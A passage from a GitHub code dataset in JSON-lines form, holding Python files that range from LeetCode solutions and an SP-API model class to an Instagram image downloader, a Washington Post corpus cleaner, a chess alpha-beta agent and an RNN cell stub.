user_input():\n user_input_a = int(input(\"Enter a: \"))\n user_input_b = int(input(\"Enter b: \"))\n print(f'\\nYou entered {user_input_a} and {user_input_b}, hence return is', compare(user_input_a, user_input_b))\n\n#Calling the print_result and user_input functions\nprint_result()\nuser_input()","repo_name":"KornilovaT/Python","sub_path":"bool.py","file_name":"bool.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3727958330","text":"class Solution:\n def findMaxAverage(self, nums: List[int], k: int) -> float:\n summing = sum(nums[:k])\n max_sum = summing\n\n for end in range(k,len(nums)):\n summing -= nums[end - k]\n summing += nums[end]\n max_sum = max(max_sum , summing)\n\n return max_sum / k\n","repo_name":"zerabruck/Competitive-programming","sub_path":"A2sv/maximum_average_sub_arrayI.py","file_name":"maximum_average_sub_arrayI.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33896628443","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar\n\nimport attr\n\nif TYPE_CHECKING:\n from ..models.text_item import TextItem\n\n\nT = TypeVar(\"T\", bound=\"StandardTextListBlock\")\n\n\n@attr.s(auto_attribs=True)\nclass StandardTextListBlock:\n r\"\"\"The A+ Content standard fixed length list of text, usually presented as bullet points.\n\n Attributes:\n text_list (List['TextItem']):\n \"\"\"\n\n text_list: List[\"TextItem\"]\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n text_list = []\n for text_list_item_data in self.text_list:\n text_list_item = text_list_item_data.to_dict()\n\n text_list.append(text_list_item)\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"textList\": text_list,\n }\n )\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.text_item import TextItem\n\n d = src_dict.copy()\n text_list = []\n _text_list = d.pop(\"textList\")\n for text_list_item_data in _text_list:\n text_list_item = TextItem.from_dict(text_list_item_data)\n\n text_list.append(text_list_item)\n\n result = cls(\n text_list=text_list,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/aplus_content_2020_11_01/models/standard_text_list_block.py","file_name":"standard_text_list_block.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12828271541","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom time import sleep\nfrom credentials import profile\nimport urllib.request\n\nclass ZTF():\n\n def __init__(self):\n\n \n ZTF.download(self)\n \n def download(self):\n self.driver=webdriver.Chrome()\n self.driver.get('https://www.instagram.com/'+profile)\n \n sleep(5)\n for i in range(1,7):\n self.driver.execute_script('window.scrollTo(0,document.body.scrollHeight)')\n sleep(5)\n self.driver.find_element_by_tag_name('body').send_keys(Keys.HOME)\n sleep(5)\n # article = self.driver.find_element_by_class_name('ySN3v')\n elem = self.driver.find_elements_by_class_name('FFVAD')\n file1 = open(\"test.txt\",\"a+\")\n\n for el in elem:\n file1.write(el.get_attribute('src')+'\\n')\n\n sleep(5)\n\n ZTF.DownloadImages(self)\n\n \n\n def DownloadImages(self):\n c =int(0)\n my_list=[]\n with open('test.txt') as f:\n my_list = list(f)\n X = int(0)\n \n for link in my_list:\n urllib.request.urlretrieve(link,'image'+str(X)+'.jpg')\n X+=1\n \n\n \n \n\n\n \n\n\nbot = ZTF()\n\n","repo_name":"ZTF666/Instagram-bot","sub_path":"downloadImages.py","file_name":"downloadImages.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"23912131310","text":"class Solution:\r\n\r\n def rotate(self, matrix: List[List[int]]) -> None:\r\n \"\"\"\r\n Do not return anything, modify matrix in-place instead.\r\n \"\"\"\r\n mirror(matrix)\r\n\r\n\r\ndef mirror(mat):\r\n n = len(mat)\r\n #create a mirror image from the diagonal\r\n for i in range(0, n):\r\n for j in range(0, n):\r\n if j > i:\r\n swp_1 = mat[i][j]\r\n swp_2 = mat[j][i]\r\n mat[i][j] = swp_2\r\n mat[j][i] = swp_1\r\n #reverse each array\r\n for i in range(0, n):\r\n mat[i].reverse()\r\n\r\n return mat\r\n","repo_name":"SujayDamani/Leetcode","sub_path":"Rotate Image.py","file_name":"Rotate Image.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73888425972","text":"\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\nclass Solution:\n def maximumAverageSubtree(self, root: Optional[TreeNode]) -> float:\n res = float(\"-inf\")\n def helper(node):\n # return sum and #nodes for the subtree with root as node\n nonlocal res\n if not node:\n return 0, 0\n leftSum, leftNode = helper(node.left)\n rightSum, rightNode = helper(node.right)\n # for the current node\n s = leftSum + rightSum + node.val\n n = leftNode + rightNode + 1\n res = max(res, s/n)\n return s, n\n \n helper(root)\n return res\n \n","repo_name":"xiaofanc/leetcode","sub_path":"1120-maximum-average-subtree.py","file_name":"1120-maximum-average-subtree.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17666188036","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n A script to clean and improve the TREC Washington Post Corpus for use in research. Creates a CSV file.\n The 2017 version of the dataset was used when this script was made.\n\"\"\"\nimport os\nimport re\nfrom datetime import datetime as dt\nfrom warnings import filterwarnings\n\nimport numpy as np\nimport pandas as pd\nimport pytz\nfrom json_lines import reader as jl_reader\n\nimport categories\nfrom twpc_helper import TWPCHelper\nfrom utils import options, file_len, rindex\n\n\ndef main():\n if os.path.exists(twpc_helper.save_path):\n twpc_helper.save_path = options(twpc_helper.save_path)\n print(f\"New path: {twpc_helper.save_path}\")\n articles = []\n end = file_len(twpc_helper.source_path)\n with open(twpc_helper.source_path, \"rb\") as f:\n for i, article in enumerate(jl_reader(f), start=1):\n article[\"contents\"] = list(filter(None, article[\"contents\"]))\n article[\"category\"], article[\"subcategory\"] = get_categories(article)\n # Ugly code, but significantly speeds up the process if a category is set\n if twpc_helper.category is not None and not article[\"category\"] == twpc_helper.category:\n if i % twpc_helper.batch_size == 0 or i == end:\n if len(articles) > 0:\n save_as_csv(articles)\n articles = []\n print(f\"Progress: {i} / {end}.\")\n continue\n article[\"text\"] = stringify_contents(article)\n article[\"date\"], article[\"time\"] = unix_to_dt(article)\n article[\"image_url\"], article[\"image_caption\"] = get_image_url_and_caption(article)\n article[\"author_bio\"] = get_author_bio(article)\n if article[\"title\"] is None or article[\"title\"] == \"\":\n article[\"title\"] = np.nan\n if article[\"author\"] == \"\":\n article[\"author\"], article['subtype'] = get_author_if_compilation(article)\n else:\n article[\"subtype\"] = \"standalone\"\n discard_properties(article)\n articles.append(article)\n if i % twpc_helper.batch_size == 0 or i == end:\n save_as_csv(articles)\n articles = []\n print(f\"Progress: {i} / {end}.\")\n\n\ndef discard_properties(article):\n for prop in twpc_helper.properties_to_discard:\n del article[prop]\n del article[\"contents\"]\n\n\n# Finds the appropriate main category group and returns this\ndef get_categories(article):\n for content in article[\"contents\"]:\n if content[\"type\"] == \"kicker\" \\\n and \"content\" in content and content[\"content\"] is not None:\n return categories.get_group(content[\"content\"]), content[\"content\"]\n return np.nan, np.nan\n\n\n# Gets author bio from content array\ndef get_author_bio(article):\n author_bios = []\n for content in article[\"contents\"]:\n if \"bio\" in content and content[\"bio\"] != \"\":\n author_bios.append(twpc_helper.parser(content[\"bio\"]))\n return \"\".join(author_bios) if not len(author_bios) == 0 else np.nan\n\n\ndef is_compilation(article):\n for content in article[\"contents\"]:\n if \"content\" in content and str(content[\"content\"]).__contains__(\"Compiled by\"):\n return content[\"content\"]\n return False\n\n\n# Gets author if not present in article\ndef get_author_if_compilation(article):\n compilation = is_compilation(article)\n if compilation is not False:\n clean = re.compile(\"<.*?>|&([a-z0-9]+|#[0-9]{1,6}|#x[0-9a-f]{1,6});\")\n clean_text = str(re.sub(clean, \"\", compilation)).split()\n i = rindex(clean_text, \"by\")\n return \" \".join(clean_text[i + 1:]), \"compilation\"\n return np.nan, \"standalone\"\n\n\n# Assumes that the first content-blob found with a fullcaption and image URL is the \"main\" image of the article/blog\ndef get_image_url_and_caption(article):\n for content in article[\"contents\"]:\n if content[\"type\"] == \"image\":\n if \"fullcaption\" in content and content[\"fullcaption\"] != \"\" and content[\"imageURL\"] != \"\":\n return content[\"imageURL\"], twpc_helper.parser(content[\"fullcaption\"])\n return np.nan, np.nan\n\n\n# Convert unix dates to datetime string\ndef unix_to_dt(article):\n try:\n article[\"date\"] = dt.utcfromtimestamp(article[\"published_date\"] / 1000.0) \\\n .astimezone(pytz.timezone(\"America/New_York\"))\n article[\"time\"] = article[\"date\"].time().strftime(\"%H:%M:%S\")\n article[\"date\"] = article[\"date\"].date().strftime(\"%Y-%m-%d\")\n return article[\"date\"], article[\"time\"]\n except TypeError:\n print(f\"Unable to convert {article['published_date']}, for id: {article['id']}\")\n return np.nan, np.nan\n except OSError:\n print(f\"Invalid argument: {article['published_date']}, for id: {article['id']}\")\n return np.nan, np.nan\n\n\n# Finds relevant content in the contents-array found in articles\ndef stringify_contents(article):\n content_array = []\n for content in article[\"contents\"]:\n if content[\"type\"] == \"sanitized_html\":\n # Some articles have manually inserted \"Read more\" sections, which we do not want\n if str(content['content']).lower().__contains__(\"read more\"):\n break # We assume that if the object matches the condition, we are at the end of the article\n content_array.append(twpc_helper.parser(content[\"content\"]))\n elif content[\"type\"] == \"list\":\n for item in content[\"content\"]:\n content_array.append(twpc_helper.parser(item))\n elif twpc_helper.mode == \"html\":\n if content[\"type\"] == \"video\" and \"content\" in content:\n content_array.append(create_video_block(content))\n elif content[\"type\"] == \"tweet\":\n content_array.append(create_tweet_block(content))\n elif content[\"type\"] == \"tweet\":\n content_array.append(twpc_helper.parser(content[\"content\"][\"text\"]))\n content_array.append(twpc_helper.parser(content[\"content\"][\"user\"][\"name\"]))\n content_array = list(filter(None, content_array)) # Remove empty strings\n final_string = \" \".join(content_array).replace(\"\\n\", \"\")\n if final_string == \"\":\n final_string = np.nan\n return final_string\n\n\ndef create_video_block(video):\n if video[\"host\"] == \"youtube\":\n return video[\"content\"][\"html\"] + \"

\"\n elif video[\"host\"] in (\"vimeo\", \"posttv\"):\n return \"

\"\n\n\ndef create_tweet_block(tweet):\n return 'Tweet: \"' + tweet[\"content\"][\"text\"] + '\"
' + \"- \" + \\\n tweet[\"content\"][\"user\"][\"name\"] + \" (\" + tweet[\"content\"][\"user\"][\"screen_name\"] + \")

\"\n\n\n# Saves data as csv\ndef save_as_csv(data):\n df = pd.DataFrame(data)\n if os.path.exists(twpc_helper.save_path):\n df.to_csv(twpc_helper.save_path, sep=\",\", index=False, header=False, mode=\"a\")\n else:\n df.to_csv(twpc_helper.save_path, sep=\",\", index=False, header=True, mode=\"w\")\n\n\nif __name__ == '__main__':\n filterwarnings(\"ignore\", category=UserWarning, module=\"bs4\") # Suppress userwarnings\n twpc_helper = TWPCHelper(\n source_path=\"E:/data/corpus/TWPC.jl\",\n save_path=\"E:/data/Final/twp_corpus_politics.csv\",\n batch_size=50000,\n mode=\"html\"\n )\n main()\n","repo_name":"Overhaug/HuJuRecSys","sub_path":"twpc/twpc_articles.py","file_name":"twpc_articles.py","file_ext":"py","file_size_in_byte":7528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19978433940","text":"from docx import Document\ndocument = Document()\n\nparagraph = document.add_paragraph('Lorem ipsum dolor sit amet.')\nprior_paragraph = paragraph.insert_paragraph_before('Lorem ipsum')\n\ndocument.add_heading('这个是二级目录', level=1) #一级目录\ndocument.add_heading('这个是三级目录', level=2) #二级目录\n\ntable = document.add_table(rows=2, cols=2)\ncell = table.cell(0, 1)\ncell.text = 'parrot, possibly dead'\nrow = table.rows[1]\nrow.cells[0].text = 'Foo bar to you.'\nrow.cells[1].text = 'And a hearty foo bar to you too sir!'\nfor row in table.rows:\n for cell in row.cells:\n print(cell.text)\n\ndocument.add_page_break() # 强制到下一页\n\ndocument.save('F:\\\\SDV.docx')\nprint(\"word文档生成成功,请到“F:\\\\”目录 里面查阅\")","repo_name":"Koala111/Python","sub_path":"Project/Project/practice/build_word/SDN_SDV.py","file_name":"SDN_SDV.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30474206177","text":"import sys\r\n \r\n### IMPORTANT: Remove any print() functions or rename any print functions/variables/string when submitting on CodePost\r\n### The autograder will not run if it detects any print function.\r\n \r\n# Helper functions to aid in your implementation. Can edit/remove\r\n#############################################################################\r\n######## Piece\r\n#############################################################################\r\nclass Piece:\r\n def __init__(self,pos,rows,cols,color):\r\n self.pos=pos\r\n self.cols=cols\r\n self.rows=rows\r\n self.color=color\r\n \r\n #get the col (num)\r\n def get_c(self):\r\n return self.pos[1]\r\n \r\n #get the row (num)\r\n def get_r(self):\r\n return self.pos[0]\r\n \r\n#finding kill-moves and moves particluar to each piece \r\n#28th Oct: wrong movement for pawn \r\n#29th Oct debug: separate enemy and free space movements, combining doesn't work for PAWN\r\n \r\nclass Rook(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state): #regular movement to empty space\r\n rook_moves=[]\r\n r,c=self.pos\r\n for i in range(r-1,-1,-1):\r\n if c=0:\r\n if (i,c) in state.own_piece or (i,c) in state.enemy_piece:\r\n break\r\n rook_moves.append((i,c))\r\n for j in range(r+1,self.rows):\r\n if c=0:\r\n if (j,c) in state.own_piece or (j,c) in state.enemy_piece:\r\n break\r\n rook_moves.append((j,c))\r\n for k in range(c+1,self.cols):\r\n if r=0:\r\n if (r,k) in state.own_piece or (r,k) in state.enemy_piece:\r\n break\r\n rook_moves.append((r,k))\r\n for l in range(c-1,-1,-1):\r\n if r=0:\r\n if (r,l) in state.own_piece or (r,l) in state.enemy_piece:\r\n break\r\n rook_moves.append((r,l))\r\n return rook_moves\r\n \r\n def kill_moves(self,state): #move only when enemy piece encountered\r\n rook_kill_moves=[]\r\n r,c=self.pos\r\n if self.color=='White':\r\n for i in range(r-1,-1,-1):\r\n if c=0:\r\n if (i,c) in state.enemy_piece:\r\n rook_kill_moves.append((i,c))\r\n break\r\n elif (i,c) in state.own_piece:\r\n break\r\n for j in range(r+1,self.rows):\r\n if c=0:\r\n if (j,c) in state.enemy_piece:\r\n rook_kill_moves.append((j,c))\r\n break\r\n elif (j,c) in state.own_piece:\r\n break\r\n for k in range(c+1,self.cols):\r\n if r=0:\r\n if (r,k) in state.enemy_piece:\r\n rook_kill_moves.append((r,k))\r\n break\r\n elif (r,k) in state.own_piece:\r\n break\r\n for l in range(c-1,-1,-1):\r\n if r=0:\r\n if (r,l) in state.enemy_piece:\r\n rook_kill_moves.append((r,l))\r\n break\r\n elif (r,l) in state.own_piece:\r\n break\r\n if self.color=='Black':\r\n for i in range(r-1,-1,-1):\r\n if c=0:\r\n if (i,c) in state.enemy_piece:\r\n break\r\n elif (i,c) in state.own_piece:\r\n rook_kill_moves.append((i,c))\r\n break\r\n for j in range(r+1,self.rows):\r\n if c=0:\r\n if (j,c) in state.enemy_piece:\r\n break\r\n elif (j,c) in state.own_piece:\r\n rook_kill_moves.append((j,c))\r\n break\r\n for k in range(c+1,self.cols):\r\n if r=0:\r\n if (r,k) in state.enemy_piece:\r\n break\r\n elif (r,k) in state.own_piece:\r\n rook_kill_moves.append((r,k))\r\n break\r\n for l in range(c-1,-1,-1):\r\n if r=0:\r\n if (r,l) in state.enemy_piece:\r\n break\r\n elif (r,l) in state.own_piece:\r\n rook_kill_moves.append((r,l))\r\n break\r\n return rook_kill_moves\r\n \r\n def get_name(self):\r\n return \"Rook\" \r\n \r\nclass Bishop(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state):\r\n r,c=self.pos\r\n bishop_moves=[]\r\n diag1 = zip(range(r+1,self.rows), range(c-1,-1,-1))\r\n diag2 = zip(range(r+1,self.rows), range(c+1,self.cols)) \r\n diag3 = zip(range(r-1,-1,-1), range(c-1,-1,-1))\r\n diag4 = zip(range(r-1,-1,-1), range(c+1,self.cols))\r\n for r1,c1 in diag1:\r\n if r1=0 and c1=0:\r\n if (r1,c1) in state.own_piece or (r1,c1) in state.enemy_piece:\r\n break\r\n bishop_moves.append((r1,c1))\r\n for r2,c2 in diag2:\r\n if r2=0 and c2=0:\r\n if (r2,c2) in state.own_piece or (r2,c2) in state.enemy_piece:\r\n break\r\n bishop_moves.append((r2,c2))\r\n for r3,c3 in diag3:\r\n if r3=0 and c3=0:\r\n if (r3,c3) in state.own_piece or (r3,c3) in state.enemy_piece:\r\n break\r\n bishop_moves.append((r3,c3))\r\n for r4,c4 in diag4:\r\n if r4=0 and c4=0:\r\n if (r4,c4) in state.own_piece or (r4,c4) in state.enemy_piece:\r\n break\r\n bishop_moves.append((r4,c4))\r\n return bishop_moves\r\n \r\n def kill_moves(self,state):\r\n r,c=self.pos\r\n bishop_kill_moves=[]\r\n diag1 = zip(range(r+1,self.rows), range(c-1,-1,-1))\r\n diag2 = zip(range(r+1,self.rows), range(c+1,self.cols)) \r\n diag3 = zip(range(r-1,-1,-1), range(c-1,-1,-1))\r\n diag4 = zip(range(r-1,-1,-1), range(c+1,self.cols))\r\n if self.color=='White':\r\n for r1,c1 in diag1:\r\n if r1=0 and c1=0:\r\n if (r1,c1) in state.enemy_piece:\r\n bishop_kill_moves.append((r1,c1))\r\n break\r\n elif (r1,c1) in state.own_piece:\r\n break\r\n for r2,c2 in diag2:\r\n if r2=0 and c2=0:\r\n if (r2,c2) in state.enemy_piece:\r\n bishop_kill_moves.append((r2,c2))\r\n break\r\n elif (r2,c2) in state.own_piece:\r\n break\r\n for r3,c3 in diag3:\r\n if r3=0 and c3=0:\r\n if (r3,c3) in state.enemy_piece:\r\n bishop_kill_moves.append((r3,c3))\r\n break\r\n elif (r3,c3) in state.own_piece:\r\n break\r\n for r4,c4 in diag4:\r\n if r4=0 and c4=0: \r\n if (r4,c4) in state.enemy_piece:\r\n bishop_kill_moves.append((r4,c4))\r\n break\r\n elif (r4,c4) in state.own_piece:\r\n break\r\n if self.color=='Black':\r\n for r1,c1 in diag1:\r\n if r1=0 and c1=0:\r\n if (r1,c1) in state.own_piece:\r\n bishop_kill_moves.append((r1,c1))\r\n break\r\n elif (r1,c1) in state.enemy_piece:\r\n break\r\n for r2,c2 in diag2:\r\n if r2=0 and c2=0:\r\n if (r2,c2) in state.own_piece:\r\n bishop_kill_moves.append((r2,c2))\r\n break\r\n elif (r2,c2) in state.enemy_piece:\r\n break\r\n for r3,c3 in diag3:\r\n if r3=0 and c3=0:\r\n if (r3,c3) in state.own_piece:\r\n bishop_kill_moves.append((r3,c3))\r\n break\r\n elif (r3,c3) in state.enemy_piece:\r\n break\r\n for r4,c4 in diag4:\r\n if r4=0 and c4=0:\r\n if (r4,c4) in state.own_piece:\r\n bishop_kill_moves.append((r4,c4))\r\n break\r\n elif (r4,c4) in state.enemy_piece:\r\n break\r\n return bishop_kill_moves\r\n \r\n def get_name(self):\r\n return \"Bishop\"\r\n \r\nclass Queen(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state):\r\n queen_moves=[]\r\n piece1=Rook(self.pos,self.rows, self.cols,self.color)\r\n piece2=Bishop(self.pos, self.rows, self.cols,self.color)\r\n queen_moves.extend(piece1.moves(state))\r\n queen_moves.extend(piece2.moves(state))\r\n return queen_moves\r\n \r\n def kill_moves(self,state):\r\n queen_kill_moves=[]\r\n piece1=Rook(self.pos,self.rows, self.cols,self.color)\r\n piece2=Bishop(self.pos, self.rows, self.cols,self.color)\r\n queen_kill_moves.extend(piece1.kill_moves(state))\r\n queen_kill_moves.extend(piece2.kill_moves(state))\r\n return queen_kill_moves\r\n \r\n def get_name(self):\r\n return \"Queen\"\r\n \r\nclass Knight(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state): #fixed 8 moves around piece\r\n op1=[-2,1,-1,2,2,1,-1,-2] #for row movement\r\n op2=[1,2,2,1,-1,-2,-2,-1] #for col movement\r\n knight_moves=[]\r\n r,c=self.pos\r\n for index in range(0,8):\r\n if r+op1[index]< self.rows and r+op1[index]>=0 and c+op2[index]=0:\r\n if (r+op1[index],c+op2[index]) not in state.own_piece and (r+op1[index],c+op2[index]) not in state.enemy_piece and (r+op1[index],c+op2[index]) in state.empty:\r\n knight_moves.append((r+op1[index],c+op2[index]))\r\n return knight_moves\r\n \r\n def kill_moves(self,state): #fixed 8 moves around piece\r\n op1=[-2,1,-1,2,2,1,-1,-2] #for row movement\r\n op2=[1,2,2,1,-1,-2,-2,-1] #for col movement\r\n knight_kill_moves=[]\r\n r,c=self.pos\r\n if self.color=='White':\r\n for index in range(0,8):\r\n if r+(op1[index])< self.rows and r+(op1[index])>=0 and c+(op2[index])=0:\r\n if (r+op1[index],c+op2[index]) in state.enemy_piece:\r\n knight_kill_moves.append((r+op1[index],c+op2[index]))\r\n if self.color=='Black':\r\n for index in range(0,8):\r\n if r+op1[index]< self.rows and r+op1[index]>=0 and c+op2[index]=0:\r\n if (r+op1[index],c+op2[index]) in state.own_piece:\r\n knight_kill_moves.append((r+op1[index],c+op2[index]))\r\n return knight_kill_moves\r\n \r\n def get_name(self):\r\n return \"Knight\"\r\n \r\nclass King(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state):\r\n king_moves=[]\r\n r,c=self.pos\r\n for i in range(-1,2):\r\n for j in range(-1,2):\r\n if r+i=0 and c+j>=0:\r\n if (r+i,c+j)!=(r,c) and (r+i,c+j) not in state.enemy_piece and (r+i,c+j) not in state.own_piece and (r+i,c+j) in state.empty:\r\n king_moves.append((r+i,c+j))\r\n return king_moves\r\n \r\n def kill_moves(self,state):\r\n king_kill_moves=[]\r\n r,c=self.pos\r\n if self.color=='White':\r\n for i in range(-1,2):\r\n for j in range(-1,2):\r\n if r+i=0 and c+j>=0:\r\n if (r+i,c+j)!=(r,c) and (r+i,c+j) in state.enemy_piece:\r\n king_kill_moves.append((r+i,c+j))\r\n if self.color=='Black':\r\n for i in range(-1,2):\r\n for j in range(-1,2):\r\n if r+i=0 and c+j>=0:\r\n if (r+i,c+j)!=(r,c) and (r+i,c+j) in state.own_piece:\r\n king_kill_moves.append((r+i,c+j))\r\n return king_kill_moves\r\n \r\n def get_name(self):\r\n return \"King\"\r\n \r\nclass Ferz(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state):\r\n ops=[-1,1]\r\n ferz_moves=[]\r\n r,c=self.pos\r\n for i in ops:\r\n for j in ops:\r\n if r+i=0 and c+j=0:\r\n if (r+i,c+j) not in state.enemy_piece and (r+i,c+j) not in state.own_piece and (r+i,c+j) in state.empty:\r\n ferz_moves.append((r+i,c+j))\r\n return ferz_moves\r\n \r\n def kill_moves(self,state):\r\n ops=[-1,1]\r\n ferz_kill_moves=[]\r\n r,c=self.pos\r\n if self.color=='White':\r\n for i in ops:\r\n for j in ops:\r\n if r+i=0 and c+j=0 and (r+i,c+j) in state.enemy_piece:\r\n ferz_kill_moves.append((r+i,c+j))\r\n else:\r\n for i in ops:\r\n for j in ops:\r\n if r+i=0 and c+j=0 and (r+i,c+j) in state.own_piece:\r\n ferz_kill_moves.append((r+i,c+j))\r\n return ferz_kill_moves\r\n \r\n def get_name(self):\r\n return \"Ferz\"\r\n \r\nclass Princess(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state):\r\n princess_moves=[]\r\n piece1=Bishop(self.pos,self.rows, self.cols,self.color)\r\n piece2=Knight(self.pos, self.rows, self.cols,self.color)\r\n princess_moves.extend(piece1.moves(state))\r\n princess_moves.extend(piece2.moves(state))\r\n return princess_moves\r\n \r\n def kill_moves(self,state):\r\n princess_kill_moves=[]\r\n piece1=Bishop(self.pos,self.rows, self.cols,self.color)\r\n piece2=Knight(self.pos, self.rows, self.cols,self.color)\r\n princess_kill_moves.extend(piece1.kill_moves(state))\r\n princess_kill_moves.extend(piece2.kill_moves(state))\r\n return princess_kill_moves\r\n \r\n def get_name(self):\r\n return \"Princess\"\r\n \r\nclass Empress(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state):\r\n empress_moves=[]\r\n piece1=Rook(self.pos,self.rows, self.cols,self.color)\r\n piece2=Knight(self.pos, self.rows, self.cols,self.color)\r\n empress_moves.extend(piece1.moves(state))\r\n empress_moves.extend(piece2.moves(state))\r\n return empress_moves\r\n \r\n def kill_moves(self,state):\r\n empress_kill_moves=[]\r\n piece1=Rook(self.pos,self.rows, self.cols,self.color)\r\n piece2=Knight(self.pos, self.rows, self.cols,self.color)\r\n empress_kill_moves.extend(piece1.kill_moves(state))\r\n empress_kill_moves.extend(piece2.kill_moves(state))\r\n return empress_kill_moves\r\n \r\n def get_name(self):\r\n return \"Empress\"\r\n \r\nclass Pawn(Piece):\r\n def __init__(self,pos,rows,cols,color):\r\n super().__init__(pos,rows,cols,color)\r\n \r\n def moves(self,state):\r\n pawn_moves=[]\r\n r,c=self.pos\r\n if r+1=0 and c>=0 and c=0 and c+i>=0 and c+i=0 and c+i>=0 and c+ivalue:\r\n value,selected=val,(from_pos,to_pos)\r\n alpha=max(alpha,value)\r\n if value>=beta:\r\n break\r\n if alpha>=beta:\r\n break\r\n if alpha>=beta:\r\n break\r\n return value, selected\r\n \r\n else: #min player\r\n value=positive_inf\r\n for node in state.black_pieces:\r\n possible_moves=all_actions(state,node)\r\n for action in possible_moves:\r\n from_pos=node.pos\r\n to_pos=action\r\n \r\n dummy_board=state.next_board() #copy of board\r\n dummy_state=State(7,7,dummy_board)\r\n dummy_state.assign_pieces()\r\n dummy_state.try_action(from_pos,to_pos,self_turn)\r\n \r\n val,_=minimax(dummy_state,True,depth-1, alpha, beta)\r\n \r\n if val Piece:\r\n piece, ch_coord = comma_seperated.split(\",\")\r\n r, c = from_chess_coord(ch_coord)\r\n return [(r,c), piece]\r\n \r\ndef from_chess_coord( ch_coord):\r\n return (int(ch_coord[1:]), ord(ch_coord[0]) - 97)\r\n \r\n# You may call this function if you need to set up the board\r\ndef setUpBoard():\r\n config = sys.argv[1]\r\n rows, cols, gameboard = parse(config)\r\n #return gameboard\r\n \r\n### DO NOT EDIT/REMOVE THE FUNCTION HEADER BELOW###\r\n# Chess Pieces: King, Queen, Knight, Bishop, Rook, Princess, Empress, Ferz, Pawn (First letter capitalized)\r\n# Colours: White, Black (First Letter capitalized)\r\n# Positions: Tuple. (column (String format), row (Int)). Example: ('a', 0)\r\n \r\n# Parameters:\r\n# gameboard: Dictionary of positions (Key) to the tuple of piece type and its colour (Value). This represents the current pieces left on the board.\r\n# Key: position is a tuple with the x-axis in String format and the y-axis in integer format.\r\n# Value: tuple of piece type and piece colour with both values being in String format. Note that the first letter for both type and colour are capitalized as well.\r\n# gameboard example: {('a', 0) : ('Queen', 'White'), ('d', 10) : ('Knight', 'Black'), ('g', 25) : ('Rook', 'White')}\r\n#\r\n# Return value:\r\n# move: A tuple containing the starting position of the piece being moved to the new ending position for the piece. x-axis in String format and y-axis in integer format.\r\n# move example: (('a', 0), ('b', 3))\r\n \r\ndef studentAgent(gameboard):\r\n #gameboard uses (char,num) form on codepost, local case not there so test accordingly\r\n new={}\r\n for key,tup in list(gameboard.items()): #codepost\r\n new[convert_to_num(key)]=tup\r\n state=State(7,7,new)\r\n state.assign_pieces()\r\n move = ab(new,state)\r\n \r\n #state=State(7,7,gameboard) #local\r\n #state.assign_pieces() #local\r\n #move=ab(gameboard,state) #local\r\n \r\n final=(convert_to_char(move[0]),convert_to_char(move[1]))\r\n return final #Format to be returned (('a', 0), ('b', 3))\r\n \r\n#gameboard=setUpBoard()\r\n#print(studentAgent(gameboard))","repo_name":"Ananya8576/GameOfChess","sub_path":"AB.py","file_name":"AB.py","file_ext":"py","file_size_in_byte":31196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20451970867","text":"#!/usr/bin/env python3\n\"\"\"\n7. Bidirectional Output\n\"\"\"\nimport numpy as np\n\n\nclass BidirectionalCell:\n \"\"\"\n Represents a bidirectional cell of an RNN\n \"\"\"\n\n def __init__(self, i, h, o):\n \"\"\" Constructor method\n Args:\n i - is the dimensionality of the data\n h - is the dimensionality of the hidden states\n o - is the dimensionality of the outputs\n \"\"\"\n self.Whf = np.random.randn(h+i, h)\n self.Whb = np.random.randn(h+i, h)\n 